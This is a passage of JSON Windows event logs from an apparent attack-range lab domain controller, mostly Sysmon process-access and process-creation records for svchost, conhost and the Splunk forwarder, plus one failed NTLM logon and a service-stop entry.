11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1835,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1836,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1837,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1838,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1839,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-0010B82D0300}\r\nTargetProcessId: 3608\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-0010B82D0300}","TargetProcessId":"3608","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221484,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t59318\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59318","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76806,"ProcessID":852,"ThreadID":936,"Channel":"System","Message":"The NetSetupSvc service entered the stopped state.","param1":"NetSetupSvc","param2":"stopped","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1840,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.265\r\nSourceProcessGUID: {90617006-3FE7-5F2D-0000-0010B82D0300}\r\nSourceProcessId: 3608\r\nSourceThreadId: 3616\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.265","SourceProcessGUID":"{90617006-3FE7-5F2D-0000-0010B82D0300}","SourceProcessId":"3608","SourceThreadId":"3616","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1841,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.315\r\nProcessGuid: {90617006-3FE7-5F2D-0000-00101A310300}\r\nProcessId: 3596\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-regex --log-warnings\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nParentProcessId: 4072\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.315","ProcessGuid":"{90617006-3FE7-5F2D-0000-00101A310300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-regex --log-warnings","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-3FE6-5F2D-0000-0010B0140300}","ParentProcessId":"4072","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1842,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nSourceProcessId: 4072\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-00101A310300}\r\nTargetProcessId: 3596\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program 